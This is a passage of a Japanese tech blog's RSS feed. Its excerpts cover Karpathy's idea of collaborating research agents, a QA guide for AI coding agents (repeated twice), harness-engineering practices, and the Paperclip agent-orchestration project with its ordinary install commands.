&lt;p&gt;AI が一人の研究者を代替するのではなく、無数のエージェントが並列に仮説を試し、成果や失敗を持ち寄りながら、ひとつの研究コミュニティのように知を前進させる未来だ。問題は、一つのエージェントを賢くすることではなく、無数のエージェントが枝分かれしながら知見を蓄積する場をどう設計するかに移りつつある。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;これは AI エージェント開発における重要なパラダイムシフトだ。これまでの議論は「いかにモデルを賢くするか」「いかにプロンプトを最適化するか」に集中していた。だが autoresearch が示す方向は、&lt;strong&gt;個のエージェントの能力向上よりも、エージェント群の協調システム設計&lt;/strong&gt;に重心が移りつつあるということだ。&lt;/p&gt;
&lt;p&gt;Karpathy の言葉を借りれば、エージェントの「知性、注意力、粘り強さがボトルネックでなくなった」とき、既存の開発抽象（Git、CI/CD、コードレビュー）にますます圧力がかかる。&lt;/p&gt;</description></item><item><title>「研究コミュニティをまるごとエミュレートせよ」— Karpathy が示す AI エージェント協調の未来</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%A0%94%E7%A9%B6%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E3%82%92%E3%81%BE%E3%82%8B%E3%81%94%E3%81%A8%E3%82%A8%E3%83%9F%E3%83%A5%E3%83%AC%E3%83%BC%E3%83%88%E3%81%9B%E3%82%88-karpathy-%E3%81%8C%E7%A4%BA%E3%81%99-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%8D%94%E8%AA%BF%E3%81%AE%E6%9C%AA%E6%9D%A5/</guid><description>&lt;p&gt;Andrej Karpathy が &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; を公開した直後、さらに踏み込んだビジョンを&lt;a href="https://x.com/karpathy/status/2030705271627284816"&gt;示した&lt;/a&gt;。「次のステップは、エージェント同士が非同期かつ大規模に協調する仕組みだ」— 単一エージェントの能力向上ではなく、&lt;strong&gt;エージェント群の協調システム設計&lt;/strong&gt;こそが本質だという主張だ。&lt;/p&gt;
&lt;h2 id="一人の博士課程ではなく研究コミュニティを"&gt;「一人の博士課程ではなく、研究コミュニティを」&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal is not to emulate a single PhD student, it&amp;rsquo;s to emulate a research community of them.
（目標は一人の博士課程の学生をエミュレートすることではない。研究コミュニティをまるごとエミュレートすることだ。）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;現在の autoresearch はコミットを同期的に一本のスレッドで積み上げていく設計だ。だが Karpathy が構想するのは、リポジトリを「種」として無数のエージェントがそこから枝分かれし、異なる研究方向に並列で進んでいく世界だ。SETI@home のような分散コンピューティングモデルを研究に適用するイメージだと言える。&lt;/p&gt;
&lt;h2 id="技術的な課題"&gt;技術的な課題&lt;/h2&gt;
&lt;p&gt;この構想が実現するには、いくつかのハードルがある:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分散タスクシャーディング&lt;/strong&gt; — 実験をどう分割して割り当てるか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果の重複排除&lt;/strong&gt; — 同じ仮説を複数エージェントが試す無駄をどう防ぐか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスエージェントメモリ&lt;/strong&gt; — あるエージェントの発見を他のエージェントが活用できる仕組み&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git の限界&lt;/strong&gt; — 「一本の master ブランチ + 一時的な PR」という既存の Git モデルでは、エージェントが数千のコミットを並列に管理する構造に対応しきれない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Karpathy 自身も、Discussions や PR を使ったエージェント間の知見共有を軽量にプロトタイピングしたと述べている。&lt;/p&gt;
&lt;h2 id="一つを賢くするから場の設計へ"&gt;「一つを賢くする」から「場の設計」へ&lt;/h2&gt;
&lt;p&gt;IT navi 氏（&lt;a href="https://x.com/itnavi2022"&gt;@itnavi2022&lt;/a&gt;）は、この動きを端的に&lt;a href="https://x.com/itnavi2022/status/2031015950783516715"&gt;こう要約している&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI が一人の研究者を代替するのではなく、無数のエージェントが並列に仮説を試し、成果や失敗を持ち寄りながら、ひとつの研究コミュニティのように知を前進させる未来だ。問題は、一つのエージェントを賢くすることではなく、無数のエージェントが枝分かれしながら知見を蓄積する場をどう設計するかに移りつつある。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;これは AI エージェント開発における重要なパラダイムシフトだ。これまでの議論は「いかにモデルを賢くするか」「いかにプロンプトを最適化するか」に集中していた。だが autoresearch が示す方向は、&lt;strong&gt;個のエージェントの能力向上よりも、エージェント群の協調システム設計&lt;/strong&gt;に重心が移りつつあるということだ。&lt;/p&gt;
&lt;p&gt;Karpathy の言葉を借りれば、エージェントの「知性、注意力、粘り強さがボトルネックでなくなった」とき、既存の開発抽象（Git、CI/CD、コードレビュー）にますます圧力がかかる。&lt;/p&gt;</description></item><item><title>AI Agent に品質を担保させる — QA 手法の実践ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（&lt;a href="https://x.com/hikarine3"&gt;@hikarine3&lt;/a&gt;）が公開した&lt;a href="https://vpshikaku.com/ai/ai-agent-qa/"&gt;実践ガイド&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;p&gt;Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。&lt;/p&gt;
&lt;h2 id="1-設定ファイルにルールを書く"&gt;1. 設定ファイルにルールを書く&lt;/h2&gt;
&lt;p&gt;CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ルール&lt;/th&gt;
&lt;th&gt;防げる事故&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト結果を「○件中○件が正常」形式で報告&lt;/td&gt;
&lt;td&gt;0 件検出の見落とし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影響範囲を確認&lt;/td&gt;
&lt;td&gt;1 ファイル修正で他が壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル削除・本番デプロイ・DB 操作は承認必須&lt;/td&gt;
&lt;td&gt;取り返しのつかないミス&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;設定ファイルは &lt;strong&gt;50 行以内&lt;/strong&gt; を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。&lt;/p&gt;
&lt;h2 id="2-リスクレベルで使い分ける"&gt;2. リスクレベルで使い分ける&lt;/h2&gt;
&lt;p&gt;すべてのプロジェクトに同じ品質基準を適用する必要はない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;テスト深度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ラフ&lt;/td&gt;
&lt;td&gt;静的サイト、ブログ&lt;/td&gt;
&lt;td&gt;目視確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;標準&lt;/td&gt;
&lt;td&gt;Web アプリ（ユーザーデータあり）&lt;/td&gt;
&lt;td&gt;回帰テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;厳密&lt;/td&gt;
&lt;td&gt;金融・決済・認証・個人情報&lt;/td&gt;
&lt;td&gt;境界値・異常系テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3-ai-にテスト設計もさせる"&gt;3. AI にテスト設計もさせる&lt;/h2&gt;
&lt;p&gt;従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。&lt;/p&gt;
&lt;h2 id="4-ai-のテストが嘘になる-10-パターン"&gt;4. AI のテストが「嘘」になる 10 パターン&lt;/h2&gt;
&lt;p&gt;AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:&lt;/p&gt;</description></item><item><title>AI Agent に品質を担保させる — QA 手法の実践ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（&lt;a href="https://x.com/hikarine3"&gt;@hikarine3&lt;/a&gt;）が公開した&lt;a href="https://vpshikaku.com/ai/ai-agent-qa/"&gt;実践ガイド&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;p&gt;Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。&lt;/p&gt;
&lt;h2 id="1-設定ファイルにルールを書く"&gt;1. 設定ファイルにルールを書く&lt;/h2&gt;
&lt;p&gt;CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ルール&lt;/th&gt;
&lt;th&gt;防げる事故&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト結果を「○件中○件が正常」形式で報告&lt;/td&gt;
&lt;td&gt;0 件検出の見落とし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影響範囲を確認&lt;/td&gt;
&lt;td&gt;1 ファイル修正で他が壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル削除・本番デプロイ・DB 操作は承認必須&lt;/td&gt;
&lt;td&gt;取り返しのつかないミス&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;設定ファイルは &lt;strong&gt;50 行以内&lt;/strong&gt; を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。&lt;/p&gt;
&lt;h2 id="2-リスクレベルで使い分ける"&gt;2. リスクレベルで使い分ける&lt;/h2&gt;
&lt;p&gt;すべてのプロジェクトに同じ品質基準を適用する必要はない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;テスト深度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ラフ&lt;/td&gt;
&lt;td&gt;静的サイト、ブログ&lt;/td&gt;
&lt;td&gt;目視確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;標準&lt;/td&gt;
&lt;td&gt;Web アプリ（ユーザーデータあり）&lt;/td&gt;
&lt;td&gt;回帰テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;厳密&lt;/td&gt;
&lt;td&gt;金融・決済・認証・個人情報&lt;/td&gt;
&lt;td&gt;境界値・異常系テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3-ai-にテスト設計もさせる"&gt;3. AI にテスト設計もさせる&lt;/h2&gt;
&lt;p&gt;従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。&lt;/p&gt;
&lt;h2 id="4-ai-のテストが嘘になる-10-パターン"&gt;4. AI のテストが「嘘」になる 10 パターン&lt;/h2&gt;
&lt;p&gt;AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:&lt;/p&gt;</description></item><item><title>Harness Engineering ベストプラクティス 2026 — AI コーディングエージェントを安定稼働させる設計術</title><link>https://hdknr.github.io/blogs/posts/2026/03/harness-engineering-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-2026-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%AE%89%E5%AE%9A%E7%A8%BC%E5%83%8D%E3%81%95%E3%81%9B%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/harness-engineering-%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9-2026-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%AE%89%E5%AE%9A%E7%A8%BC%E5%83%8D%E3%81%95%E3%81%9B%E3%82%8B%E8%A8%AD%E8%A8%88%E8%A1%93/</guid><description>&lt;p&gt;Claude Code や Codex といった AI コーディングエージェントを現場に投入する開発者が増えるなか、「ハーネスエンジニアリング」という新しい実践領域が注目を集めている。逆瀬川氏（&lt;a href="https://x.com/gyakuse"&gt;@gyakuse&lt;/a&gt;）が公開した&lt;a href="https://nyosegawa.github.io/posts/harness-engineering-best-practices-2026/"&gt;まとめ記事&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;h2 id="そもそもハーネスとは何か"&gt;そもそも「ハーネス」とは何か&lt;/h2&gt;
&lt;p&gt;「ハーネス（harness）」とは、もともと馬具の意味だ。馬の力を人間が制御して活かすための装具一式 — 手綱、鞍、轡（くつわ）などを指す。馬がどれだけ優秀でも、ハーネスなしでは暴走するだけで仕事にならない。&lt;/p&gt;
&lt;p&gt;ソフトウェアの世界では「テストハーネス」という用語がすでにある。テスト対象のコードを「つなぎ止めて」、入力を与え、出力を検証する枠組みのことだ。テスト対象そのものではなく、テスト対象を&lt;strong&gt;正しく動かすための外側の仕組み&lt;/strong&gt;を指す。&lt;/p&gt;
&lt;p&gt;AI コーディングエージェントにおける「ハーネス」もこれと同じ発想だ。AI エージェント（= 馬）は強力だが、そのままでは暴走する。古いドキュメントを信じてしまう、リンターのルールを勝手に緩和する、前のセッションで何をしたか忘れる。&lt;strong&gt;エージェントを制御し、安定した成果を引き出すための外側の仕組み全体&lt;/strong&gt;がハーネスであり、それを設計・構築する技術がハーネスエンジニアリングだ。&lt;/p&gt;
&lt;p&gt;具体的にハーネスを構成する要素は、大きく 3 つの層に分けられる:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;入力層&lt;/strong&gt; — エージェントに何を読ませ、何を読ませないかを制御する（AGENTS.md の設計、リポジトリの衛生管理、セッション間の状態引き継ぎ）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行制御層&lt;/strong&gt; — エージェントの作業中にリアルタイムで品質を強制する（リンター・フォーマッターの自動実行、計画と実行の分離）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証層&lt;/strong&gt; — エージェントの出力が正しいことを確認する（E2E テスト、プリコミットチェック）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;核心的な洞察は「ハーネスがモデルより重要」という点だ。同じモデルでもハーネスを改善すれば出力品質が劇的に向上する。開発者の責任は「正しいコードを書く」から「エージェントが確実に正しいコードを生産する環境を設計する」へとシフトしている。&lt;/p&gt;
&lt;h2 id="7-つの主要トピック"&gt;7 つの主要トピック&lt;/h2&gt;
&lt;h3 id="1-リポジトリ衛生-入力層"&gt;1. リポジトリ衛生 〈入力層〉&lt;/h3&gt;
&lt;p&gt;「衛生（hygiene）」は、ソフトウェア開発で「不要物や汚染を取り除き、健全な状態を保つ」という意味で使われる慣用表現だ（「コードハイジーン」「ブランチハイジーン」なども同様）。ここでは、リポジトリ内に&lt;strong&gt;古くなったドキュメントや不正確な情報が溜まらないよう清潔に保つ&lt;/strong&gt;ことを指す。人間なら「このメモ、古そうだな」と判断できるが、エージェントは 3 ヶ月前のメモも最新のコードも同じ「事実」として読んでしまう。だから情報の鮮度管理が重要になる。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;実行可能なアーティファクト（コード、テスト、設定）を優先する&lt;/li&gt;
&lt;li&gt;説明的ドキュメントは腐敗しやすいため最小化する&lt;/li&gt;
&lt;li&gt;ADR（Architecture Decision Records）で決定履歴を保全する&lt;/li&gt;
&lt;li&gt;テストはドキュメントより腐敗に強い&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最大の敵は「説明的ドキュメントの腐敗」だ。エージェントは「3 ヶ月前のメモ」と「現在の真実」を区別できないため、古い情報が存在するだけで性能が低下する。ハーネスの入力層として、エージェントが読む情報の鮮度と正確性を保つことが最初のステップになる。&lt;/p&gt;
&lt;h3 id="2-決定論的ツールで品質を強制する-実行制御層"&gt;2. 決定論的ツールで品質を強制する 〈実行制御層〉&lt;/h3&gt;
&lt;p&gt;「決定論的（deterministic）」とは、同じ入力に対して&lt;strong&gt;毎回必ず同じ結果を返す&lt;/strong&gt;という意味だ。リンターやフォーマッターがその典型で、たとえば「未使用の変数がある」というコードを渡せば、何度実行しても必ず同じ警告を返す。気分や文脈によって判断が揺れることがない。&lt;/p&gt;
&lt;p&gt;対照的に、LLM は非決定論的だ。同じコードを渡しても、実行するたびにチェックの粒度や指摘内容がブレる。「インデントを揃えて」と指示しても、ある時はスペース 2 つ、別の時はタブで揃えるかもしれない。&lt;/p&gt;
&lt;p&gt;だからこそ、&lt;strong&gt;機械的に判定できるルール（構文エラー、未使用変数、フォーマット）は LLM に任せず、決定論的ツールに委ねる&lt;/strong&gt;のが原則だ。PostToolUse Hook でファイル編集のたびにリンターを自動実行し、エラーをエージェントに即時フィードバックする。&lt;/p&gt;
&lt;p&gt;言語別の推奨スタック:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;言語&lt;/th&gt;
&lt;th&gt;PostToolUse&lt;/th&gt;
&lt;th&gt;プリコミット&lt;/th&gt;
&lt;th&gt;カスタムルール&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;Biome + Oxlint&lt;/td&gt;
&lt;td&gt;tsc + ESLint&lt;/td&gt;
&lt;td&gt;eslint-plugin-local-rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;Ruff check/format&lt;/td&gt;
&lt;td&gt;Ruff + mypy&lt;/td&gt;
&lt;td&gt;ast-grep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;gofumpt + golangci-lint&lt;/td&gt;
&lt;td&gt;同左&lt;/td&gt;
&lt;td&gt;ast-grep&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;リンター設定の保護も重要だ。エージェントがルールを勝手に緩和・改ざんするのを防ぐ仕組みが必要になる。これはまさに「手綱」の役割 — エージェントが暴走しないよう、作業のたびに自動で引き戻す仕組みだ。&lt;/p&gt;</description></item><item><title>Paperclip — AIエージェントで会社を自律運営するオープンソースOS</title><link>https://hdknr.github.io/blogs/posts/2026/03/paperclip-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E4%BC%9A%E7%A4%BE%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E5%96%B6%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9os/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/paperclip-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E4%BC%9A%E7%A4%BE%E3%82%92%E8%87%AA%E5%BE%8B%E9%81%8B%E5%96%B6%E3%81%99%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9os/</guid><description>&lt;p&gt;AIエージェントに役職・組織図・予算・目標を与え、24時間自律的に会社を運営させる——そんなコンセプトのオープンソースプロジェクト「&lt;strong&gt;Paperclip&lt;/strong&gt;」が公開され、注目を集めている。&lt;/p&gt;
&lt;h2 id="paperclip-とは"&gt;Paperclip とは&lt;/h2&gt;
&lt;p&gt;Paperclip は、複数の AI エージェントを「社員」として組織化し、会社として機能させるためのオーケストレーションプラットフォームだ。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;If OpenClaw is an employee, Paperclip is the company.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;個々の AI エージェントを個別に管理するのではなく、組織図・予算・ガバナンス・目標整合・タスク調整といった&lt;strong&gt;会社レベルのインフラ&lt;/strong&gt;を提供する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href="https://github.com/paperclipai/paperclip"&gt;https://github.com/paperclipai/paperclip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公式サイト&lt;/strong&gt;: &lt;a href="https://paperclip.ing/"&gt;https://paperclip.ing/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;: MIT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="主な機能"&gt;主な機能&lt;/h2&gt;
&lt;h3 id="エージェントの組織化"&gt;エージェントの組織化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;組織図（Org Chart）&lt;/strong&gt;: 階層構造、役職、レポートラインを定義&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目標整合（Goal Alignment）&lt;/strong&gt;: 会社のミッションからプロジェクト目標、個別タスクまで文脈が伝播&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルチカンパニー対応&lt;/strong&gt;: 1つのデプロイで複数の会社を完全分離して管理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="対応エージェント"&gt;対応エージェント&lt;/h3&gt;
&lt;p&gt;Claude、OpenClaw、Codex、Cursor、Bash スクリプト、HTTP Webhook など、ハートビートシグナルを受信できる任意のランタイムと連携できる。&lt;/p&gt;
&lt;h3 id="コスト管理"&gt;コスト管理&lt;/h3&gt;
&lt;p&gt;エージェントごとに月次予算を設定し、使用量80%で警告、100%で自動停止する。暴走的なトークン消費を防ぐ仕組みが組み込まれている。&lt;/p&gt;
&lt;h3 id="ガバナンスと監査"&gt;ガバナンスと監査&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;人間による承認ゲート（採用・戦略変更時）&lt;/li&gt;
&lt;li&gt;設定変更のバージョニングとロールバック&lt;/li&gt;
&lt;li&gt;全ての会話・意思決定・ツール呼び出しの追跡ログ&lt;/li&gt;
&lt;li&gt;いつでもエージェントの一時停止・再割り当て・終了が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="セットアップ"&gt;セットアップ&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# クイックスタート&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx paperclipai onboard --yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 手動インストール&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/paperclipai/paperclip.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd paperclip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pnpm install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pnpm dev
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
